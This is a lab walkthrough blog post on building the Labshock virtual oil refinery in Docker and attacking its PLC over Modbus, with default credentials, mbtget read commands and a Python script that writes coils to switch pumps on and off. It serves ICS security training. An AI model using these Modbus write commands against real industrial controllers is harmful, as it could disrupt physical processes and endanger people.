Refinery raid
这篇文章介绍了如何使用Labshock搭建虚拟油厂环境,并通过Modbus协议进行渗透测试。文章详细指导如何在Ubuntu上安装Docker并构建Labshock环境,并演示了从侦察PLC和SCADA系统到通过Modbus协议读取和写入数据的过程。最终展示了如何编写Python脚本控制虚拟泵的操作,并讨论了现实中的类似攻击案例及其对工业控制系统安全的影响。 2025-7-29 07:0:0 Author: blog.nviso.eu(查看原文) 阅读量:15 收藏


Introduction

Purpose of the blogpost

This blog post provides a step-by-step guide for setting up a virtual oil processing plant using https://labshock.github.io/. We will then demonstrate how to simulate a cyberattack by writing a custom python script. This exercise is designed for security professionals, engineers, and researchers interested in OT/ICS security.

What is Labshock?

Labshock is a practical operational technology (OT) and industrial control systems (ICS) cybersecurity lab environment. It provides the opportunity to analyze industrial protocols, simulate cyber attacks, and test defensive strategies within a secure, virtualized setting. This environment mimics an industrial network, encompassing various devices that together manage the operations of an oil refinery.

There are not many “ready built” environments like this available for free, so a big thanks to Zakhar from Labshock for providing such a valuable resource. We need resources like Labshock to train and educate people in the field of ICS/OT, as they offer a hands-on approach to understanding and managing cybersecurity in industrial settings.

The primary focus will be on attacking the Programmable Logic Controller (PLC), which is responsible for managing and controlling process data, and the Supervisory Control and Data Acquisition (SCADA) system, which presents this data in real time. By modifying the data within the PLC, it is possible to affect the operational processes of the refinery.

What Will We Do?

  1. Set up the virtual oil plant with docker on Ubuntu
  2. Explore its architecture and potential attack surfaces
  3. Hack the pumps of the refinery via the Modbus protocol

Setting Up the Virtual Oil Plant

Create Your Environment

First, spin up a fresh (Ubuntu) Virtual Machine. This guide on installing Ubuntu in VMware can help: https://medium.com/@florenceify74/how-to-download-install-and-run-ubuntu-in-vmware-workstation-ce5f2d4d0438. Of course, you are free to choose your own VM.

Backups, Backups, and More Backups!

Before moving further, create snapshots. One after the fresh Ubuntu install, another after Labshock is successfully running. It saves you hours if something breaks (and it will at one point).

Install Labshock

Follow the official https://github.com/zakharb/labshock/wiki/Quickstart-Guide guide to install Labshock on your host.

Below you will find all the code or scripts that I used to setup Labshock:

Docker

#!/bin/bash
set -e
# Uninstall old Docker versions
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
    sudo apt-get remove -y $pkg || true
done
# Prepare system for Docker repository
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg lsb-release

# Add Docker's official GPG key
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/$(. /etc/os-release && echo "$ID")/gpg | sudo tee /etc/apt/keyrings/docker.asc > /dev/null
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add Docker repository
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/$(. /etc/os-release && echo "$ID") \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

# Update and install Docker
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose

# To run Docker without root privileges
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker

echo "✅ Docker installation completed."
docker --version

Bash

Download & build Labshock

# Clone repo
git clone https://github.com/zakharb/labshock.git
cd labshock/labshock

# Build Labshock
sudo docker compose build

ShellSession

You should see:

CLI indicating that Labshock was correctly built.

Starting Labshock

#!/bin/bash
set -e

echo "🚀 Starting Labshock..."

# Change to script directory
cd "$(dirname "$0")"

# Pull the latest images without rebuilding (skip build if images are already available)
echo "🔄 Pulling Labshock images..."
sudo docker compose pull

# Run Labshock containers (no rebuild, just start)
echo "🚀 Running Labshock containers..."
sudo docker compose up -d

echo "✅ Labshock is now running with Docker Compose v2!"

Bash

You should see this in your terminal:

Containers up and running.

Once the containers are running (verify with docker ps), open your web browser within the virtual machine and go to http://localhost. To ensure everything is functioning correctly, click on the cards to access the individual services. Now, your homelab should be up and running.

The portal @localhost.

Conducting the Hack

Now we move into the fun part, penetration testing the virtual oil plant. The basic steps are:

  1. Understand your target
  2. Locate and access critical services (PLC & SCADA)
  3. Making sure you can interact with port 502 on the correct IP
  4. Interact with the PLC using Modbus
  5. Write and run scripts to control pump behavior

Step 1: Reconnaissance

The better you understand your target and gather information about it, the greater the potential for achieving success. This is a fundamental principle of Open Source Intelligence (OSINT), which involves collecting and analyzing publicly available information to gain insights into a target.

If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle – Sun Tzu – https://en.wikipedia.org/wiki/The_Art_of_War

Start by examining the Labshock GitHub repo: https://github.com/zakharb/labshock . It provides an architectural overview, including where each service runs.

Blue print of the Labshock enviroment.

We can also find ports for the services and credentials: (https://github.com/zakharb/labshock?tab=readme-ov-file#yellow_square-services).

PORTAL       # Web                  # https://localhost
PLC          # OpenPLC              # http://localhost:8080
SCADA        # FUXA                 # http://localhost:1881, pwd: openplc/openplc
EWS          # Kali Linux           # http://localhost:5911/vnc.html, pwd: engineer
PENTEST      # Pentest Fury         # http://localhost:3443
IDS          # Network Swiftness    # http://localhost:1443
COLLECTOR    # Tidal Collector      # http://localhost:2443
And more...

Markdown

I do need to highlight that using default passwords is not industry best practice. For example, to login into the PLC at http://localhost:8080 you use openplc:openplc. An attacker could easily guess this default username & password. Of course this is only a simulation. Luckily this only happens in virtual environments right?

hxxps://programmerhumor[.]io/memes/default-credentials
Unfortunately, many ICS/OT environments still rely on very simple username and password combinations.

Step 2: Explore the PLC & SCADA

Time to move deeper into the refinery. Now that we know our target better by looking at the blueprints, we want to study it more in detail. How can we wreak havoc? Turning off the pump seems like a sensible target. To do that we need to change the values on the plc. We can then look at the SCADA for the results of our attack.

PLC – Acts as the database. All inputs and outputs run through it. It communicates data of the oil process over Modbus TCP on port 502 and serves a web service on port 8080. You can see the live values of the oil process under Monitoring. For example, you see that pump1_start is mapped to %QX0.0 and is currently TRUE.

The modbus variables once logged in on the openplc interface at http://localhost:8080.

SCADA (FUXA) – The HMI (Human-Machine Interface) on port 1881 that visualizes real-time data from the PLC. If you alter the PLC values, they will be reflected here. You can for example see Pump1 on the SCADA which we also saw on the PLC. If you change coil %QX0.0 to False, the pump will turn off.

The graphical interface of the oil refinery at http://localhost:1881.

Step 3: Find the correct IP

To find the IP of the devices we want to hack, namely the PLC, we can run:

Sudo docker ps -q | sudo xargs -n1 docker inspect --format '{{.Name}} => {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'

ShellSession

You should see this in your terminal:

IP of the LabShock containers.

Step 4: Interact with Modbus (Read Data)

To verify that we now can access port 502 on 192.169.2.10 (labshock-plc-1) you can use https://nmap.org/zenmap/ or any other scanning tool. We can use https://github.com/sourceperl/mbtget to read the data of the modbus server. First, we should try to get more familiar with Modbus:

Modbus

Modbus (or MODBUS) is a client/server data communications protocol that operates within the application layer. Initially developed for use with programmable logic controllers (PLCs), Modbus has evolved into a de facto standard for communication among industrial electronic devices across various buses and networks. More information can be found on https://en.wikipedia.org/wiki/Modbus.

Coils & Registers

Coils are digital switches in Modbus systems, controlling devices like pumps and lights. Each coil is a single-bit value, either 0 (off) or 1 (on). You can read and change their state to manage device operations.

Registers are storage locations for numerical data, such as sensor readings or settings. They come in two main types:

  • Input Registers: Read-only registers that display data from sensors, helping monitor conditions without altering the data.
  • Holding Registers: Read/write registers used for storing configuration data or process values, allowing updates and temporary storage.

Registers can hold more data than coils, typically in sizes of 16, 32, or 64 bits, accommodating larger numbers.

In summary, coils act as simple switches, while registers store data. Digital refers to direct connections, while slave indicates networked components within a Modbus system.

The following table from https://autonomylogic.com/docs/2-5-modbus-addressing/ shows (some) Modbus address space for the OpenPLC Linux/Windows runtime

Modbus Data TypeUsagePLC AddressModbus Data AddressData SizeRangeAccess
Discrete Output CoilsDigital Outputs%QX0.0 – %QX99.70 – 7991 bit0 or 1RW
Discrete Input ContactsDigital Inputs%IX0.0 – %IX99.70 – 7991 bit0 or 1R
Analog Input RegistersAnalog Input (including slave)%IW0 – %IW10230 – 102316 bits0 – 65535R
Holding RegistersAnalog Outputs (including slave)%QW0 – %QW10230 – 102316 bits0 – 65535RW

Verify with the below commands if you can interact with the coils and regisers:

Pump 1 & 2

mbtget -r1 -a 0 192.168.2.10      # %QX0.0 => pump1_start
mbtget -r2 -a 0 192.168.2.10      # %IX0.0 => pump1_work
mbtget -r1 -a 8 192.168.2.10      # %QX1.0 => pump2_start
mbtget -r2 -a 8 192.168.2.10      # %IX1.0 => pump2_work

ShellSession

⚠️ %QX1.0 maps to coil 8, assuming 8 bits per byte.

Example of the Modbus registers being read

Step 5: Hack the Pumps (Write Data)

With read access confirmed, the next step is to attempt writing data to the PLC to control the pumps. This involves sending Modbus commands to manipulate the pump operations directly. The Python script below uses the mbtget tool to send commands to the PLC, allowing you to turn the pumps on or off. Here’s how it works:

  • Check PLC Connection: The script first verifies the connection to the PLC using the specified IP address and port in the background.
  • Control Pumps: Provides the user options to turn the pumps on or off by sending specific Modbus commands.

Hack the pump (python) script:

import os
import socket
import sys

PLC_HOST = "192.168.2.10"
PLC_PORT = 502

def check_plc_connection(host, port, timeout=3):
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except OSError:
        return False

def turn_on_pumps():
    os.system(f"mbtget -w5 1 -a 0 {PLC_HOST}")
    os.system(f"mbtget -w5 1 -a 8 {PLC_HOST}")
    print("✅ Pumps are now ON.")

def turn_off_pumps():
    os.system(f"mbtget -w5 0 -a 0 {PLC_HOST}")
    os.system(f"mbtget -w5 0 -a 8 {PLC_HOST}")
    print("✅ Pumps are now OFF.")

def main():
    print(f"🛠️ Checking connection to PLC at {PLC_HOST}:{PLC_PORT}...")
    if not check_plc_connection(PLC_HOST, PLC_PORT):
        print("❌ Cannot connect to PLC.")
        sys.exit(1)
 
    while True:
        print("\nSelect an option:")
        print("1: Turn ON pumps")
        print("2: Turn OFF pumps")
        print("3: Exit")
        choice = input("> ")
 
        if choice == "1":
            turn_on_pumps()
        elif choice == "2":
            turn_off_pumps()
        elif choice == "3":
            print("Exiting.")
            break
        else:
            print("Invalid choice.")
 
# start of the script
if __name__ == "__main__":
    main()

Python

Explanation of mbtget -w5 1 -a 0 {PLC_HOST}

  • mbtget: This tool is used to send Modbus commands to a PLC.
  • w5: This flag specifies a write command to a coil.
  • 1: The value to be written to the coil. In this context, 1 typically represents the “on” state, activating the device associated with the coil. 0 would mean “off”.
  • -a 0: The address of the coil on the PLC; 0 controls pump 1.
  • {PLC_HOST}: This placeholder represents the IP address or hostname of the PLC, indicating the specific target device to which the command should be sent.

Let’s try and run this script. Looking at your HMI you should see the pumps turn on or off!

Pumps working normally.
Executing IlikeToPUMP.py.
Pumps turned off after we ran our script.

Voila, oil pumps hacked! You can try to change the other coils & registers as well. Notice that you can not write to some of them? This is because of the input/holding registers!

Does this happen in real life?

In a real life example, adversaries reportedly used FrostyGoop (ICS Modbus malware) in a cyber-attack against a Ukrainian municipal district energy company, resulting in a two-day heating system service disruption to over 600 apartment buildings in Ukraine.

Adversaries injected unauthorized ModbusTCP commands in the victim networks, targeting ENCO controllers used for heating controls. This caused system malfunctions and inaccurate heating system measurements, leading to a loss of heat for civilians during sub-zero temperatures in January 2024. The recovery and restoration took approximately two days. https://www.sans.org/blog/whats-the-scoop-on-frostygoop-the-latest-ics-malware-and-ics-controls-considerations

Conclusion

In this walkthrough, we:

  1. Set up an Ubuntu VM and installed Labshock
  2. Explored the OT environment and identified key targets
  3. Interfaced with the PLC via mbtget
  4. Successfully scripted an attack to control virtual pumps

This exercise underscores the need to identify vulnerabilities in security strategies and to practice offensive techniques to strengthen security measures.

The absence of authentication in the Modbus protocol can result in unauthorized commands being executed. By pinpointing and rectifying these weaknesses, organizations can more effectively safeguard their operations against potential cyber threats. Additionally, without SOC monitoring, there is a lack of visibility into ongoing attacks, which means that threats can go unnoticed and unaddressed. Implementing SOC monitoring enables organizations to detect and respond to attacks in real-time, further enhancing their security posture.

Reflect on your own security practices: Would your organization be able to prevent or detect this kind of attack? We encourage you to share your insights and experiences in the comments below.

Stay tuned for the next part of this series, where we will explore defensive strategies and delve into the blue team’s perspective.

Acknowledgments

  • Harris Nuhanovic (special thanks for going trough everything, including running the attack!)
  • Sarah Mader
  • Nicholas Dhaeyer
  • Emile Reyntjens
  • George Panagiotakopoulos
  • Created using Labshock (https://github.com/zakharb/labshock). Labshock is used under a Pro License. For commercial use, contact [email protected]

Additional Resources

Nick Foulon

Nick is a seasoned blue team expert. In his free time he likes to make and break things. If he is not doing that you might find him reading a book about history or geopolitics.


文章来源: https://blog.nviso.eu/2025/07/29/refinery-raid/
如有侵权请联系:admin#unsafe.sh